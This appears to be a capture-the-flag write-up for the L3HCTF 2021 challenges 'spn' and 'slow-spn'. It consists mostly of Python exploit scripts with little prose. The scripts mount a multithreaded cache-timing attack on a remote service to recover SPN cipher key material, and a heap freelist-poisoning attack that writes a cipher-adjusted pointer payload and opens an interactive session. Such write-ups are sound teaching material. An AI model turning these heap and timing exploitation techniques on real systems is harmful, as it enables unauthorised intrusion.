[L3HCTF 2021] Pwn方向writeup - spn & slow-spn

struct cacheLine
{
  uint32_t tag;
  uint32_t last_used;
};

key = flag[0:6]
plain = flag[6:10]
                          k>>n*4
                             ↓
plaintext -> |SS| -> |P| -> XOR -> ... -> |SS| -> |P| -> cipher

... --> |SS| --(vuln)--> |&cache| --> |P| --> ...

from pwn import *
from hashlib import sha256
from pwnlib.util.iters import mbruteforce

context.log_level = 'debug'
def pow(p):
    p.recvuntil(b"hashlib.sha256( x + \"")
    c = p.recvuntil("\"" , drop = True)
    print(c)
    proof = mbruteforce(lambda x: sha256(x.encode() + c).hexdigest()[:6] == '000000'
                        , '0123456789', length=8, method='fixed')
    p.sendline(proof)
def getflag(key , m):
    p.recvuntil(b'Input possible spn key (hex):')
    p.sendline(key)
    p.recvuntil(b'Input possible spn plaintext (hex):')
    p.sendline(m)
    res = p.recv()
    if res == b'Wrong.':
        return 0
    else:
        print(res)


p = remote('124.71.173.176' ,8888)
pow(p)
getflag('11' , '1111')

#exp_round1.py
from pwn import *
import sys
from chall import ss_box, p_box, ss_box_addr, p_box_addr
from time import time, sleep
import threading

ss_map = defaultdict(list)
p_map = defaultdict(list)
stop_flag = False

#context.log_level = "debug"

class MyThread(threading.Thread):  
    def __init__(self, func, args=()):  
        super(MyThread, self).__init__()  
        self.func = func  
        self.args = args  
  
    def run(self):  
        self.result = self.func(*self.args)
  
    def get_result(self):  
        try:  
            return self.result  
        except Exception as e:  
            return None  

    def get_args(self, _idx=None):
        return self.args if _idx == None else self.args[_idx]
            
class MyPipe:
    def __init__(self, _addr, _typ="local"):
        if _typ == "local":
            self.raw_p = process(_addr)
        else:
            self.raw_p = remote(_addr[0], _addr[1])
    
    def maccess(self, addr, speed):
        print(f"Addr: {addr}")
        print(f"Fetch cache: {hex((addr>>5) & 0x1F)}\nCache tag: {hex(addr>>10)}")
        self.raw_p.sendlineafter(b"What to do?\n", b"1")
        self.raw_p.sendlineafter(b"Where?\n", str(addr).encode())
        self.raw_p.sendlineafter(b"Speed up?\n", str(speed).encode())

    def conti(self):
        self.raw_p.sendlineafter(b"What to do?\n", b"2")
       
    def leave(self):
        self.raw_p.sendlineafter(b"What to do?\n", b"3")
        
    def skip(self):
        self.raw_p.sendlineafter(b"What to do?\n", b"4")

    def recv(self, num=2048):
        return self.raw_p.recv(num)

    def recvall(self):
        return self.raw_p.recvall()

    def close(self):
        self.raw_p.close()
    
def calc_cacheline(addr:int):
    return (addr>>5) & 0x1F

def calc_tag(addr:int):
    return (addr>>10)
    
def map_i(addr):
    return (calc_cacheline(addr), calc_tag(addr))
    
def gen_target(cache_pos, tag):
    return (tag << 10) + (cache_pos << 5)

def ss_box_item(addr):
    return ss_box[(addr-ss_box_addr)//4]

def p_box_item(addr):
    return p_box[(addr-p_box_addr)//4]

def ss_item_addr(value):
    return ss_box_addr+ss_box.index(value)*4

def p_item_addr(value):
    return p_box_addr+p_box.index(value)*4

def init():
    global ss_map
    global p_map
    for ss_item_addr in range(ss_box_addr, ss_box_addr+len(ss_box)*4, 4):
        ss_map[map_i(ss_item_addr)].append(ss_box_item(ss_item_addr))
    print(f"ss_map size: {hex(len(ss_map))}")
    for p_item_addr in range(p_box_addr, p_box_addr+len(p_box)*4, 4):
        p_map[map_i(p_item_addr)].append(p_box_item(p_item_addr))
    print(f"p_map size: {hex(len(p_map))}")

s1_list = []
p1_list = []
s1_matched = []

def burp_round_1():
    MAX_THREAD = 0x100
    global stop_flag
    stop_flag = False

    def check_si_fetch(p:MyPipe, cache_info):
        global stop_flag
        if stop_flag:
            p.close()
            return False
        p.maccess(ss_item_addr(ss_map[cache_info][0]), 1) # speed up
        p.conti()
        t1 = time()
        p.recv(1)
        t2 = time()
        #print(t2-t1)
        p.close()
        if t2-t1 >= 0.95:
            return False
        else:
            stop_flag = True
            return True

    pool = []
    init_active = threading.active_count()
    for cache_info in ss_map.keys():
        if stop_flag:
            break
        th = MyThread(func=check_si_fetch, args=(MyPipe(("124.71.173.176", 9999), "remote"), cache_info))
        th.setDaemon(True)
        while True:
            if threading.active_count()-init_active > MAX_THREAD:
                sleep(0.8)
            else:
                th.start()
                pool.append(th)
                #print(th.get_args(1))
                break
    for th in pool:
        th.join()
        if th.get_result() == True:
            s1_cache_info = th.get_args(1)
            s1_list = ss_map[s1_cache_info]
            break
    print(f"s1_cache_info: {s1_cache_info}")
    print(f"s1_list: {s1_list}")

    for s1 in s1_list:
        p = MyPipe(("124.71.173.176", 9999), "remote")
        p.skip()
        p.maccess(p_item_addr(p_box[s1]), 1) # speed up
        p.conti()
        t1 = time()
        p.recv(1)
        t2 = time()
        if(t2-t1 >= 0.96):
            print("Miss")
            p.close()
        else:
            p1_cache_info = map_i(p_item_addr(p_box[s1]))
            print(f"Got p1 cache info: {p1_cache_info}")
            p1_list.append(p_box[s1])
            s1_matched.append(s1)
            p.close()
    print(f"p1_list: {p1_list}")
    print(f"s1_matched: {s1_matched}")

def exp():
    init()
    burp_round_1()

if __name__ == "__main__":
    exp()

[remote]

round 1:
p1_list: [24177, 24160, 24176, 20336]
s1_matched: [20075, 20072, 20074, 20070]

round 2:
p2_list: [29651, 29634]
s2_matched: [10975, 10972]

round 3:
p3_list: [51619, 55459, 51635]
s3_matched: [59445, 59449, 59447]

p1_list = [24177, 24160, 24176, 20336]
s1_matched = [20075, 20072, 20074, 20070]
p2_list = [29651, 29634]
s2_matched = [10975, 10972]
p3_list = [51619, 55459, 51635]
s3_matched = [59445, 59449, 59447]
mlist = [hex(ss_box.index(i))[2:].rjust(4 , '0') for i in s1_matched]
k2list = []
k1list = []
for s in s2_matched:
    for p in p1_list:
        temp = ss_box.index(s)
        a = p ^ temp
        k1list.append(a)
for s in s3_matched:
    for p in p2_list:
        temp = ss_box.index(s)
        a = p ^ temp
        k2list.append(a)
klist = []
for k1 in k1list:
    for k2 in k2list:
        temp1 = k1 &0xfff
        temp2 = k2 >> 4
        if temp1 == temp2:
            klist.append((k1 <<4)+(k2&0xf))

print(mlist)

sbox = [0xE, 4, 0xD, 1, 2, 0xF, 0xB, 8, 3, 0xA, 6, 0xC, 5, 9 , 0 , 7]
pbox = [1, 5, 9, 0xD, 2, 6, 0xA, 0xE, 3, 7, 0xB, 0xF, 4, 8,0xC, 0x10]
masks = [0x8000, 0x4000, 0x2000, 0x1000, 0x800, 0x400, 0x200, 0x100,0x80, 0x40, 0x20, 0x10, 8, 4, 2, 1]
key = [0x3a94,0xa94d ,0x94d6,0x4d63,0xd63f]
def re_s(c):
    res = 0
    for i in range(4):
        temp = c % 16
        res += sbox.index(temp)*2**(4*i)
        c //= 16
    return res
def re_p(c):
    res = 0
    for i in range(16):
        if c &(0x8000>>i) != 0:
            res |=(0x8000 >> (pbox[i] - 1))
    return res

def dec(m):
    m = (m[1]<<8) | m[0]
    m ^= key[-1]
    for i in range(3):
        m = re_s(m)
        m ^= key[-(i+2)]
        m = re_p(m)
    m = re_s(m)
    m ^= key[0]
    m = bytes([m&0xff , m >> 8])
    return m
def decrypt(m):
    c = b''
    assert len(m) % 2 == 0
    for i in range(len(m) // 2):
        c += dec(m[i*2:i*2+2])
    return c

print(decrypt(b'4N4N4N4N'))

from pwn import *

#p = process("./SPN_ENC", env = {"LD_PRELOAD": "./libc-2.27.so"})
#p = process("./SPN_ENC")
p = remote("124.71.194.126", 9999)
context.log_level = "debug"

sbox = [0xE, 4, 0xD, 1, 2, 0xF, 0xB, 8, 3, 0xA, 6, 0xC, 5, 9 , 0 , 7]
pbox = [1, 5, 9, 0xD, 2, 6, 0xA, 0xE, 3, 7, 0xB, 0xF, 4, 8,0xC, 0x10]
masks = [0x8000, 0x4000, 0x2000, 0x1000, 0x800, 0x400, 0x200, 0x100,0x80, 0x40, 0x20, 0x10, 8, 4, 2, 1]
key = [0x3a94,0xa94d ,0x94d6,0x4d63,0xd63f]
nonaddlist = []

def re_s(c):
    res = 0
    for i in range(4):
        temp = c % 16
        res += sbox.index(temp)*2**(4*i)
        c //= 16
    return res
def re_p(c):
    res = 0
    for i in range(16):
        if c &(0x8000>>i) != 0:
            res |=(0x8000 >> (pbox[i] - 1))
    return res

def dec(m):
    addnum = 0
    if m in nonaddlist:
        addnum = 1
    m = (m[1]<<8) | m[0]
    m ^= key[-1]
    for i in range(3):
        m = re_s(m)
        m ^= key[-(i+2)]
        m = re_p(m)
    m = re_s(m)
    m ^= key[0]
    
    m = bytes([m&0xff , (m >> 8)+addnum])
    return m
def decrypt(m):
    c = b''
    assert len(m) % 2 == 0
    for i in range(len(m) // 2):
        c += dec(m[i*2:i*2+2])
    return c

def malloc(size, idx):
    p.sendlineafter(b"0.exit\n", b"1")
    p.sendlineafter(b"Size:\n", str(size).encode())
    p.sendlineafter(b"Index:\n", str(idx).encode())
    
def edit(index, size, content):
    p.sendlineafter(b"0.exit\n", b"2")
    p.sendlineafter(b"Index:\n", str(index).encode())
    p.sendlineafter(b"Size\n", str(size).encode())
    p.sendafter(b"Content\n", content)
    
def free(idx):
    p.sendlineafter(b"0.exit\n", b"3")
    p.sendlineafter(b"Index:\n", str(idx).encode())
    
def show(idx):
    p.sendlineafter(b"0.exit\n", b"4")
    p.sendlineafter(b"Index:\n", str(idx).encode())

#: 0x555555554000

def exp():
    p.recvuntil(b"gift:")
    gift = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    elf_base = gift - 0x2040E0
    print("gift:", hex(gift))
    print("elf_base:", hex(elf_base))
    
    # malloc
    malloc(0x40, 0)
    for i in range(3):
        malloc(0x20, i+1)
    free(3)
    free(2)
    free(1)
    payload = b"A"*0x40+p64(0)+p64(0x31)+p64(gift)
    payload_dec = decrypt(payload)
    print("Payload len:", hex(len(payload)))
    print(payload.hex())
    print(payload_dec.hex())
    w_size = 0x58
    edit(0, w_size, payload_dec)
    for i in range(0, w_size*2, 4):
        p.recvuntil(b"w:")
        tar = payload_dec.hex()[i+2:i+4]+payload_dec.hex()[i:i+2]
        act = p.recvuntil(b"\n", drop=True).decode().rjust(4, "0")
        print(tar, act)
        if tar != act:
            nonaddlist.append(bytes([payload[i//2]])+bytes([payload[i//2+1]]))
    print(nonaddlist)
    edit(0, w_size, decrypt(payload))
    
    # fetch
    malloc(0x20, 5)
    malloc(0x20, 6)
    edit(6, 8, b"A"*8)
    print("gift:", hex(gift))
    p.sendline(b"5")
    
    p.interactive()

if __name__ == "__main__":
    exp()